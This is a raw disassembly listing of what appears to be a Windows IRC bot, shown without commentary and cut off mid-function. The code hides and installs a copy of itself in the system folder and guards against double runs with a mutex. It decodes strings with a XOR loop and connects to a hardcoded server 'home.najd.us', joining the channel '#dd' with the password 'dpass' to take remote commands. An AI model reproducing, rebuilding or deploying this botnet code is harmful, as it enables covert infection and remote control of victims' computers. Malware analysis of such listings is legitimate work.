sub_40BCEF+3DAj lea eax, [ebp+var_510] push eax call sub_40B16D push 10h lea eax, [ebp+var_10] push esi push eax call sub_415570 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_415570 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_438FDC push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call dword_4210EC cmp eax, edi jnz short loc_40C16D call dword_43A318 call sub_409E15 push esi call dword_421114 loc_40C16D: ; CODE XREF: sub_40BCEF+46Aj lea eax, [ebp+var_148] push eax push offset unk_42BE28 jmp short loc_40C187 ; --------------------------------------------------------------------------- loc_40C17B: ; CODE XREF: sub_40BCEF+45j lea eax, [ebp+var_248] push eax push offset unk_42BDE8 loc_40C187: ; CODE XREF: sub_40BCEF+48Aj lea eax, [ebp+var_510] push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40C1BB push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C add esp, 14h loc_40C1BB: ; CODE XREF: sub_40BCEF+4AAj lea eax, [ebp+var_510] push eax call sub_40B16D pop ecx loc_40C1C8: ; CODE XREF: sub_40BCEF+29Cj ; sub_40BCEF+325j ... push [ebp+var_18] call dword_43A3EC push [ebp+var_48] call sub_4152AF pop ecx push esi call dword_421048 sub_40BCEF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C1E1 proc near ; CODE XREF: sub_40BCEF+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40C1FD loc_40C1ED: ; CODE XREF: sub_40C1E1+1Aj mov dl, byte_42C19C xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40C1ED locret_40C1FD: ; CODE XREF: sub_40C1E1+Aj retn sub_40C1E1 endp ; =============== S U B R O U T I N E ======================================= sub_40C1FE proc near ; CODE XREF: sub_40CE55+293Cp ; sub_40CE55+2A93p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_417709 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40C1FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C218 proc near ; CODE XREF: sub_4063B0+45Dp ; sub_4063B0+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_43E788 push 0 push edi call sub_415570 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40C23D: ; CODE XREF: sub_40C218+5Bj ; sub_40C218+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_417260 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_4172E0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40C27B inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40C23D mov byte ptr [esi], 2Ch inc esi jmp short loc_40C23D ; --------------------------------------------------------------------------- loc_40C27B: ; CODE XREF: sub_40C218+4Bj dec esi mov eax, edi loc_40C27E: ; CODE XREF: sub_40C218+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40C28D mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C28D: ; CODE XREF: sub_40C218+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40C218 endp ; =============== S U B R O U T I N E ======================================= sub_40C297 proc near ; CODE XREF: sub_40C443+51p ; sub_40C443+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43A418 sub eax, 0 jz short loc_40C2DA dec eax jz short loc_40C2D4 dec eax dec eax jz short loc_40C2CE dec eax jz short loc_40C2C8 dec eax jz short loc_40C2C2 dec eax jz short loc_40C2BC mov eax, offset word_42B7C4 retn ; --------------------------------------------------------------------------- loc_40C2BC: ; CODE XREF: sub_40C297+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_40C2C2: ; CODE XREF: sub_40C297+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40C2C8: ; CODE XREF: sub_40C297+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40C2CE: ; CODE XREF: sub_40C297+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40C2D4: ; CODE XREF: sub_40C297+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40C2DA: ; CODE XREF: sub_40C297+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40C297 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2E0 proc near ; CODE XREF: sub_40C328+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43A2B4 test eax, eax jz short loc_40C315 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40C315: ; CODE XREF: sub_40C2E0+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C328 proc near ; CODE XREF: sub_40AAD1+1F3p ; sub_40C443+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40C2E0 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40C400 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40C400 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40C400 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_417750 push edx push eax call sub_40C218 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_415A6A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_417750 push edx push eax call sub_40C218 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_415A6A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_417750 push edx push eax call sub_40C218 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_415A6A add esp, 18h pop ebx jmp short loc_40C42F ; --------------------------------------------------------------------------- loc_40C400: ; CODE XREF: sub_40C328+2Cj ; sub_40C328+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4154E7 lea eax, [ebp+var_118] push esi push eax call sub_4154E7 lea eax, [ebp+var_98] push esi push eax call sub_4154E7 add esp, 18h loc_40C42F: ; CODE XREF: sub_40C328+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40C328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C443 proc near ; CODE XREF: sub_40C515+17p ; sub_40C515+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40C328 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_415910 add esp, 10h test eax, eax jnz short loc_40C4B6 push ebx push ebx call sub_40C297 pop ecx push eax push offset dword_42C128 lea eax, [ebp+var_500] push 200h push eax call sub_415A6A add esp, 14h jmp short loc_40C4EA ; --------------------------------------------------------------------------- loc_40C4B6: ; CODE XREF: sub_40C443+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40C297 pop ecx push eax push offset dword_42C0D8 lea eax, [ebp+var_500] push 200h push eax call sub_415A6A add esp, 20h loc_40C4EA: ; CODE XREF: sub_40C443+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_500] push eax call sub_40B16D add esp, 18h pop edi pop esi pop ebx leave retn sub_40C443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C515 proc near ; CODE XREF: sub_40CE55+5216p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40C536 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C443 add esp, 10h jmp short loc_40C597 ; --------------------------------------------------------------------------- loc_40C536: ; CODE XREF: sub_40C515+9j push esi push edi push ebx push ebx call dword_43A328 lea esi, [eax+2] push esi call sub_415DC9 pop ecx mov edi, eax push edi push esi call dword_43A328 cmp [edi], bl mov esi, edi jz short loc_40C58E loc_40C55A: ; CODE XREF: sub_40C515+77j push offset aA_0 ; "A:\\" push esi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40C57D push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C443 add esp, 10h loc_40C57D: ; CODE XREF: sub_40C515+54j push esi call sub_415CF0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40C55A loc_40C58E: ; CODE XREF: sub_40C515+43j push edi call sub_415E3D pop ecx pop edi pop esi loc_40C597: ; CODE XREF: sub_40C515+1Fj pop ebx pop ebp retn sub_40C515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59A proc near ; DATA XREF: sub_40C682+11o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43F554 call dword_43A450 call sub_41515C call dword_43A318 call dword_43A318 mov ebx, dword_421060 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415570 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_415570 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_438FDC mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_421058 lea eax, [ebp+var_158] push esi push eax push edi call dword_42107C lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_4210EC test eax, eax jz short loc_40C65F push 64h call ebx push [ebp+var_10] mov esi, dword_42106C call esi push [ebp+var_C] call esi loc_40C65F: ; CODE XREF: sub_40C59A+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43E7C0 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call dword_421114 pop edi pop esi pop ebx sub_40C59A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C682 proc near ; CODE XREF: .nsp0:00417BC1p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = byte ptr -0E4h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_40C59A push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp cmp dword_42C190, ebx jz short loc_40C6B8 call sub_409F9D loc_40C6B8: ; CODE XREF: sub_40C682+2Fj mov esi, dword_42104C call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_468838, eax call esi push eax call sub_415539 pop ecx call sub_4089F2 push 2 call dword_43A464 push 7530h push offset aIdsppn ; "idsppn" push ebx push ebx call dword_42112C push eax call dword_421128 cmp eax, 102h jnz short loc_40C70C push 1 call dword_421114 loc_40C70C: ; CODE XREF: sub_40C682+80j lea eax, [ebp+var_884] push eax push 202h call dword_43A330 cmp eax, ebx mov [ebp+var_8], eax jnz loc_40CB6C cmp [ebp+var_884], 2 jnz loc_40CB66 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_40CB66 mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call dword_421058 lea eax, [ebp+var_2EC] push esi push eax push ebx call dword_4210C8 push eax call dword_42107C lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_417348 lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp+var_5F4] push esi push eax call sub_415A6A lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_415AC0 add esp, 30h test eax, eax jnz loc_40C96F cmp dword_4689A8, ebx mov esi, offset byte_42C1FC jz short loc_40C807 push esi xor edi, edi call sub_415CF0 sub eax, 4 pop ecx jz short loc_40C807 loc_40C7E4: ; CODE XREF: sub_40C682+183j call sub_415543 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42C1FC[edi], dl inc edi call sub_415CF0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40C7E4 loc_40C807: ; CODE XREF: sub_40C682+152j ; sub_40C682+160j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset aSS_3 ; "%s\\%s" push eax call sub_4154E7 add esp, 10h lea eax, [ebp+var_1E8] push eax call dword_421094 cmp eax, 0FFFFFFFFh jz short loc_40C847 lea eax, [ebp+var_1E8] push 80h push eax call dword_4210F4 loc_40C847: ; CODE XREF: sub_40C682+1B1j mov esi, dword_421124 lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] xor edi, edi push eax loc_40C85E: ; CODE XREF: sub_40C682+213j call esi test eax, eax jnz short loc_40C897 call dword_421088 cmp edi, ebx jnz short loc_40C897 cmp eax, 20h jz short loc_40C878 cmp eax, 5 jnz short loc_40C897 loc_40C878: ; CODE XREF: sub_40C682+1EFj push 1 pop edi push 3A98h call dword_421060 lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_40C85E ; --------------------------------------------------------------------------- loc_40C897: ; CODE XREF: sub_40C682+1E0j ; sub_40C682+1EAj ... lea eax, [ebp+var_1E8] push eax call sub_409D4F pop ecx lea eax, [ebp+var_1E8] push 7 push eax call dword_4210F4 push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_415570 push 44h lea eax, [ebp+var_64] pop esi push esi push ebx push eax call sub_415570 add esp, 18h mov [ebp+var_64], esi mov [ebp+var_58], offset byte_438FDC mov [ebp+var_34], bx push 1 pop esi mov [ebp+var_38], esi call dword_421120 push eax push esi push 100000h call dword_42111C lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_988] push offset dword_43317C push eax call sub_4154E7 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call dword_4210EC test eax, eax jz short loc_40C96F push 0C8h call dword_421060 push [ebp+var_1C] mov esi, dword_42106C call esi push [ebp+var_18] call esi call dword_43A318 push ebx call dword_421114 loc_40C96F: ; CODE XREF: sub_40C682+141j ; sub_40C682+2C3j cmp dword_4694D0, 2 jle short loc_40C9BB mov eax, dword_4694D4 push dword ptr [eax+4] call sub_415A5F pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_421128 push esi call dword_42106C mov eax, dword_4694D4 cmp [eax+8], ebx jz short loc_40C9BB push 7D0h call dword_421060 mov eax, dword_4694D4 push dword ptr [eax+8] call dword_421118 loc_40C9BB: ; CODE XREF: sub_40C682+2F4j ; sub_40C682+31Ej cmp dword_42C198, ebx jz short loc_40C9D8 cmp dword_43A488, ebx jnz short loc_40C9D8 lea eax, [ebp+var_5F4] push eax call sub_40B3AE pop ecx loc_40C9D8: ; CODE XREF: sub_40C682+33Fj ; sub_40C682+347j lea eax, [ebp+var_E4] push offset dword_433150 push eax call sub_4154E7 push ebx lea eax, [ebp+var_E4] push ebx push eax call sub_414F93 lea eax, [ebp+var_E4] push eax call sub_40B16D push 0B80h push ebx push offset dword_43E7C8 call sub_415570 call sub_415543 push 7Fh push offset aHome_najd_us ; "home.najd.us" push offset dword_468844 mov dword_4689BC, ebx call sub_416D40 mov eax, dword_42C17C push 3Fh mov edi, offset dword_4688C4 push offset aDd_0 ; "#dd" push edi mov dword_468994, eax call sub_416D40 push 3Fh mov esi, offset dword_468904 push offset aDpass ; "dpass" push esi call sub_416D40 add esp, 48h mov dword_468998, ebx loc_40CA66: ; CODE XREF: sub_40C682+48Aj ; sub_40C682+495j ... mov [ebp+var_4], ebx loc_40CA69: ; CODE XREF: sub_40C682+43Ej cmp dword_43A4A0, ebx jnz short loc_40CA87 lea eax, [ebp+var_20] push ebx push eax call dword_43A2FC test eax, eax jnz short loc_40CA87 push 7530h jmp short loc_40CAB3 ; --------------------------------------------------------------------------- loc_40CA87: ; CODE XREF: sub_40C682+3EDj ; sub_40C682+3FCj push offset dword_468840 mov dword_4689B8, ebx call sub_40CB75 cmp eax, 2 mov [ebp+var_8], eax jz loc_40CB61 cmp dword_4689B8, ebx jz short loc_40CAAE dec [ebp+var_4] loc_40CAAE: ; CODE XREF: sub_40C682+427j push 0BB8h loc_40CAB3: ; CODE XREF: sub_40C682+403j call dword_421060 inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40CA69 cmp [ebp+var_8], 2 jz loc_40CB61 cmp [ebp+var_C], ebx jz short loc_40CB11 push 7Fh push offset aHome_najd_us ; "home.najd.us" push offset dword_468844 call sub_416D40 mov eax, dword_42C17C push 3Fh push offset aDd_0 ; "#dd" push edi mov dword_468994, eax call sub_416D40 push 3Fh push offset aDpass ; "dpass" push esi call sub_416D40 add esp, 24h mov [ebp+var_C], ebx jmp loc_40CA66 ; --------------------------------------------------------------------------- loc_40CB11: ; CODE XREF: sub_40C682+44Dj cmp byte_42C1DC, bl jz loc_40CA66 push 7Fh push offset byte_42C1DC push offset dword_468844 call sub_416D40 mov eax, dword_42C180 push 3Fh push offset aDd_1 ; "#dd" push edi mov dword_468994, eax call sub_416D40 push 3Fh push offset aDpass_0 ; "dpass" push esi call sub_416D40 add esp, 24h mov [ebp+var_C], 1 jmp loc_40CA66 ; --------------------------------------------------------------------------- loc_40CB61: ; CODE XREF: sub_40C682+41Bj ; sub_40C682+444j call sub_41515C loc_40CB66: ; CODE XREF: sub_40C682+AEj ; sub_40C682+BEj call dword_43A318 loc_40CB6C: ; CODE XREF: sub_40C682+A1j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40C682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB75 proc near ; CODE XREF: sub_40C682+410p ; DATA XREF: sub_40CE55+39D7o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40CB9A: ; CODE XREF: sub_40CB75+E6j ; sub_40CB75+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43A3B8 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A05B test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40CCC7 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_415570 push 0 lea eax, [ebp+var_2C] push dword_4689AC push dword_42C1A4 push eax call sub_414433 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43F560 push edi push eax call sub_416D40 add esp, 28h push 6 push 1 push 2 call dword_43A438 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43F554[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43A360 cmp eax, 0FFFFFFFFh jnz short loc_40CC60 push esi call dword_43A450 call sub_40A084 push 7D0h loc_40CC55: ; CODE XREF: sub_40CB75+146j call dword_421060 jmp loc_40CB9A ; --------------------------------------------------------------------------- loc_40CC60: ; CODE XREF: sub_40CB75+CDj lea eax, [ebp+var_18C] push eax push offset dword_433188 call sub_40B1E1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40CCDD add esp, 28h mov edi, eax push esi call dword_43A450 test edi, edi jz loc_40CB9A cmp edi, 1 jnz short loc_40CCBD push 0DBBA0h jmp short loc_40CC55 ; --------------------------------------------------------------------------- loc_40CCBD: ; CODE XREF: sub_40CB75+13Fj cmp edi, 2 jz short loc_40CCCB jmp loc_40CB9A ; --------------------------------------------------------------------------- loc_40CCC7: ; CODE XREF: sub_40CB75+5Aj xor eax, eax jmp short loc_40CCD7 ; --------------------------------------------------------------------------- loc_40CCCB: ; CODE XREF: sub_40CB75+14Bj push [ebp+var_34] call sub_4152AF pop ecx push 2 pop eax loc_40CCD7: ; CODE XREF: sub_40CB75+154j pop edi pop esi leave retn 4 sub_40CB75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCDD proc near ; CODE XREF: sub_40CB75+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_415D70 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40CCFB: ; CODE XREF: sub_40CCDD+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40CCFB cmp byte_4689B0, bl jz short loc_40CD22 push offset byte_4689B0 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_412D06 add esp, 0Ch loc_40CD22: ; CODE XREF: sub_40CCDD+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_414433 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4154E7 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43A408 cmp eax, 0FFFFFFFFh jnz short loc_40CD8C push [ebp+arg_0] call dword_43A450 push 1388h call dword_421060 loc_40CD85: ; CODE XREF: sub_40CCDD+D9j ; sub_40CCDD+153j xor eax, eax loc_40CD87: ; CODE XREF: sub_40CCDD+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40CD8C: ; CODE XREF: sub_40CCDD+92j ; sub_40CCDD+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43A3D0 test eax, eax jle short loc_40CD85 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_409A3B pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40CD8C lea edi, [ebp+var_A10] loc_40CDDD: ; CODE XREF: sub_40CCDD+165j push 1 pop esi loc_40CDE0: ; CODE XREF: sub_40CCDD+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40CE55 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40CE23 push 7D0h call dword_421060 jmp short loc_40CDE0 ; --------------------------------------------------------------------------- loc_40CE23: ; CODE XREF: sub_40CCDD+137j cmp esi, 0FFFFFFFDh jz short loc_40CE4D cmp esi, 0FFFFFFFEh jz short loc_40CE49 cmp esi, 0FFFFFFFFh jz loc_40CD85 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40CDDD jmp loc_40CD8C ; --------------------------------------------------------------------------- loc_40CE49: ; CODE XREF: sub_40CCDD+14Ej push 1 jmp short loc_40CE4F ; --------------------------------------------------------------------------- loc_40CE4D: ; CODE XREF: sub_40CCDD+149j push 2 loc_40CE4F: ; CODE XREF: sub_40CCDD+16Ej pop eax jmp loc_40CD87 sub_40CCDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE55 proc near ; CODE XREF: sub_40CCDD+12Ap var_159C = byte ptr -159Ch var_119C = byte ptr -119Ch var_F9C = byte ptr -0F9Ch var_D9C = byte ptr -0D9Ch var_C9C = byte ptr -0C9Ch var_C98 = byte ptr -0C98h var_B98 = byte ptr -0B98h var_B94 = byte ptr -0B94h var_A94 = byte ptr -0A94h var_A14 = byte ptr -0A14h var_9B3 = byte ptr -9B3h var_9B2 = byte ptr -9B2h var_9B0 = byte ptr -9B0h var_9AF = byte ptr -9AFh var_9A6 = byte ptr -9A6h var_9A4 = byte ptr -9A4h var_9A2 = byte ptr -9A2h var_9A1 = byte ptr -9A1h var_914 = dword ptr -914h var_910 = byte ptr -910h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = byte ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = dword ptr -7F4h var_7F0 = byte ptr -7F0h var_788 = byte ptr -788h var_77C = byte ptr -77Ch var_778 = dword ptr -778h var_774 = byte ptr -774h var_770 = byte ptr -770h var_718 = dword ptr -718h var_710 = byte ptr -710h var_704 = dword ptr -704h var_700 = byte ptr -700h var_6FC = byte ptr -6FCh var_6F8 = dword ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = byte ptr -6F0h var_689 = byte ptr -689h var_688 = byte ptr -688h var_680 = byte ptr -680h var_678 = byte ptr -678h var_674 = byte ptr -674h var_670 = byte ptr -670h var_600 = byte ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = byte ptr -5F0h var_588 = dword ptr -588h var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = byte ptr -564h var_548 = byte ptr -548h var_4F8 = dword ptr -4F8h var_4F4 = byte ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = 